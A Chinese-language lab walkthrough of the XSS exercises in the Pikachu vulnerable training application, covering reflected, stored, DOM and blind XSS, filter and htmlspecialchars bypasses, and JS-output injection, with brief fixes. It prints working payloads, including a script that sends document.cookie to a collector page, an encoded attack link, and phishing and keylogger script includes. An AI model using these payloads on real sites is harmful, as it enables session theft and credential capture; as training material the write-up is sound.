pikachu~~~XSS
目錄
反射型xss(get)
反射性xss(post)
存儲型xss
DOM型xss
DOM型xss
get:
post:
釣魚：
獲取鍵盤輸入：
反射型xss(get)
先輸入'"<>$223探測特殊字符是否被過濾
顯然么有，并且get型還直接把傳入的信息以URL的方式傳了過去
既然字符無保護，那咱們直接執行一個<script>alert('look')</script>
F12修改最大值
那我們重新進入一次，看它是否會繼續彈窗，發現并沒有，所以他是一次性的
反射性xss(post)
post是要通過表單提交信息，先登入
和上面一樣，對特殊字符檢查，發現并無過濾
但是細心的我們可以發現，
傳入參數不在URL顯示了，而是在request body中。
并且輸入時無長度限制
并且post前進和回退仍然會再次提交信息并彈窗
彈窗成功
存儲型xss
字符并無過濾，
這里將輸入動態的生成到了js中,形成xss
輸入<script>alert('look')</script>或JavaScript:alert('js')仍會彈窗，
回退后也會存儲，
與反射性post不同的是重新訪問此頁面，之前的信息仍然在
說明我們輸入的信息被存儲到了后臺中
講這個例子主要是為了讓你明白,輸出點在js中的xss問題,應該怎么修?
這里如果進行html的實體編碼,雖然可以解決XSS的問題,但是實體編碼后的內容,在JS里面不會進行翻譯,這樣會導致前端的功能無法使用。
所以在JS的輸出點應該使用\對特殊字符進行轉義
DOM型xss
發現是通過click me按鈕觸發domxss
將得到的信息以字符串拼接到a標簽
此時我們只需閉合a標簽即可
?
<a href=''>what do you see?</a>
<a href='' οnclick="alert('js')">' >what do you see?</a>
payload:
' οnclick="alert('js')">
'><img src=x οnerrοr=alert('xss')><a href='#
前端的輸入被DOM獲取到，通過DOM在前端輸出，前端不會保存，也不會走后端，但是也是一個寫程序的漏洞。
DOM型xss
http://192.168.241.1/pikachu/vul/xss/xss_dom_x.php?text=%27+onclick%3D%22alert%28%27js%27%29%22%3E#
盜取cookie:
get:
<script>document.location='http://192.168.241.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
攻擊鏈接：
http://192.168.241.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.241.1%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
post:
http://192.168.241.1/pikachu/pkxss/xcookie/post.html
釣魚：
?
<script src="http://192.168.241.1/pikachu/pkxss/xfish/fish.php"></script>
后臺會記錄獲取信息
獲取鍵盤輸入：
<script src="http://192.168.241.1/pikachu/pkxss/rkeypress/rk.js"></script>
后臺會記錄獲取信息
Dom型xss-x
跟上一樣，還是先來看看代碼邏輯， 它從url獲取參數text的值然后組合出一個新的鏈接返回前端。
function domxss(){
??? var str = window.location.search; //取url后面的參數
??? var txss = decodeURIComponent(str.split("text=")[1]); //url解碼
??? var xss = txss.replace(/\+/g,' ');
//? alert(xss);
??? document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>";
??? }
?? //試試：'><img src="#" οnmοuseοver="alert('xss')">
?? //試試：' οnclick="alert('xss')">,閉合掉就行
請說出你的傷心往事按鈕取text組成個新鏈接，新鏈接的參數可控造成取值時的xss。 payload和上題一樣，只是參數的傳遞過程不一樣。
XSS盲打
就是攻擊者在沒有回顯的情況下打xss payload， 可能的利用場景就是留言處，留言者看不到寫入的內容，管理員可以從后臺看到并觸發惡意腳本，常被用來竊取cookie。
XSS過濾
過濾了script，通過或者 等標簽就可以觸發了。
<img src=x οnerrοr=alert(1)>
常見繞過方式：
??? 大小寫
XSS之htmlspecialchars
php的htmlspecialchars() 函數就是把預定義的字符轉換為 HTML 實體。
預定義的字符是：
??? & （和號）成為 &
??? " （雙引號）成為 "
??? ’ （單引號）成為 ’
??? < （小于）成為 <&“
??? > （大于）成為 >
默認配置的htmlspecialchars不會轉義’，測試思路是將這些符號輸入一遍，看哪些符號會被轉義。如我們輸入111<>'"，查看返回結果里面源碼這些字符已經被轉換成預定義的實體編碼了，除了單引號沒被轉換。
<a href='111<>"'&'>
針對單引號來構造閉合為a標簽添加新的屬性繞過，如構造payload
#' οnclick='alert(1)'
填充完原頁面就完整代碼如下，點擊此標簽就觸發了xss
<a href='#' οnclick='alert(1)''>#' οnclick='alert(1)'</a>
XSS之href
直接通過偽協議觸發href，點擊偽協議的超鏈接觸發xss。payload如：
javascript:alert(1);
防止href里面偽協議造成的xss可以通過限制開頭必須是http或者https來實現
XSS之JS輸出
這適用于可控變量輸出在前端<script>的情況，測試思路是先隨便輸入一段字符提交，然后查看源碼Ctrl + F查找剛才隨便輸入的字符串定位到代碼。如我通過輸入asdf并查找定位到了asdf對應的輸出位置。
<script>
??? $ms='asdf';
??? if($ms.length != 0){
??????? if($ms == 'tmac'){
??????????? $('#fromjs').text('tmac確實厲害,看那小眼神..')
??????? }else {
??????? // alert($ms);
??????????? $('#fromjs').text('無論如何不要放棄心中所愛..')
??????? }
??? }
</script>
?
構造payload，如：
tmac';alert(1);//
payload填入原輸出位置就會變成
?<script>
??? $ms='tmac';alert(1);//';
?? ?......
?</script>
相當與在原來的基礎上插入了一段彈窗代碼，xss利用成功。
XSS大致類型如上，防御可以歸結為：輸入時過濾，輸出是轉義，更多的還是要在實戰中學習。
?
?
?
總結
以上是生活随笔為你收集整理的pikachu~~~XSS的全部內容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： 2020幻影围棋 围棋规则模块(二)
- 下一篇： 我英语不好，能学编程吗？